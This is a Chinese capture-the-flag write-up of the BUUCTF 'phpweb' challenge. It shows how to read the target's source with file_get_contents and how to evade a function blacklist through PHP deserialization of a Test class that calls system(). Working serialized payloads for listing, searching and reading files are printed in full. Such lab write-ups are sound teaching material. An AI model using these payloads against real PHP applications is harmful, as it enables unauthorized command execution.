BUUCTF--[网鼎杯 2020 朱雀组]phpweb

流程

打开靶场,可以看到以下内容,并且这个页面隔几秒就要刷新一次

查看页面源代码,没有发现什么隐藏信息

我们用bp抓包看看

我们可以知道这个页面是由post方式传递核心参数,并且我们发现一个重要内容

func=date&p=Y-m-d h:i:s a

而这个就是他为什么隔几秒就要刷新的原因,也是我们唯一的可见功能

func=date :告诉后端调用 PHP 内置的 date() 函数

p=Y-m-d h:i:s a :传给 date() 函数的参数,定义了时间的输出格式

func:传递要执行的 PHP 函数名

p:传递给该函数的参数

后端核心逻辑:通过call_user_func($func, $p)执行用户传入的函数,这是漏洞的核心入口。

我们将包发到Repeater进一步测试

我们直接尝试func=system&p=ls

可以看到被拦截了,说明后端存在过滤我们要找一个未被禁用的、且能读取文件内容的函数

我们尝试file_get_contents读取 index.php 源码

func=file_get_contents&p=index.php

得到源码

php 复制代码
<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

要点:

严格的黑名单过滤 :主逻辑中,用户传入的func会被转为小写,再匹配禁用函数列表,几乎所有直接的命令执行、代码执行、回调函数都被封禁,包括systemcall_user_func

危险的回调执行gettime函数中直接使用call_user_func($func, $p)执行函数,无任何过滤

反序列化利用入口Test类的__destruct()析构函数,会在对象销毁时自动调用gettime($this->func, $this->p),且这里的 func 参数不会经过主逻辑的黑名单过滤,这是本题的核心突破点

未被禁用的关键函数unserialize反序列化函数不在黑名单中,可作为触发析构函数的入口

反序列化漏洞利用

漏洞原理

当我们传入func=unserialize&p=Test类的序列化字符串时,后端会执行unserialize($p),生成一个 Test 类的对象。当该对象执行完毕被销毁时,会自动触发__destruct()析构函数,执行我们在对象中预设的$this->func$this->p,且该过程不会经过主逻辑的黑名单检测,从而执行被封禁的system等命令执行函数。

步骤 1:构造序列化 Payload

我们需要构造一个 Test 类的实例,给func赋值为systemp赋值为要执行的系统命令,然后生成序列化字符串。PHP 序列化生成代码:

php 复制代码
<?php
class Test {
    public $func = "system";
    public $p = "ls /";
}
echo serialize(new Test());
?>

结果:

php 复制代码
O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:4:"ls /";}

步骤 2:执行命令,查找 flag 路径

将序列化结果作为 p 参数的值,func 参数设为 unserialize,构造 POST 请求:

php 复制代码
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:19:"find / -name *flag*";}

可发现 flag 位于/tmp/flagoefiu4r93

步骤 3:读取 flag

修改命令为 cat 读取 flag 文件,最终 Payload:

php 复制代码
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}

执行后,Repeater会直接返回 flag 内容。

由此的到最终flag

相关推荐
treesforest4 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
零零信安4 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
上海云盾第一敬业销售4 天前
深入解析WAF的工作原理与机制
web安全·ddos
憧憬成为web高手4 天前
l33t-hoster
学习·web安全·网络安全
HackTwoHub4 天前
Sqli-Scanner SQL注入SKILL自动化挖掘SQL注入,零依赖自动化SQL注入挖掘,赏金猎人
数据库·人工智能·sql·web安全·网络安全·自动化·系统安全
zhengfei6115 天前
小白级手册——全面剖析红队信息收集思考
网络·安全·web安全
爱网络爱Linux5 天前
网络安全与渗透测试实用工具大全
web安全·网络安全·信息安全·cisp-pte·cisp·cissp
xsc-xyc5 天前
用 Tailscale + Syncthing 实现手机、电脑与 NAS 的跨网络文件同步
linux·网络·网络安全·智能手机·电脑
持敬chijing5 天前
Web渗透之SQL注入-常用sql语句
sql·安全·web安全·网络安全
顾凌陵5 天前
Web安全二阶段综合测试:知识点速查与实战技巧
安全·web安全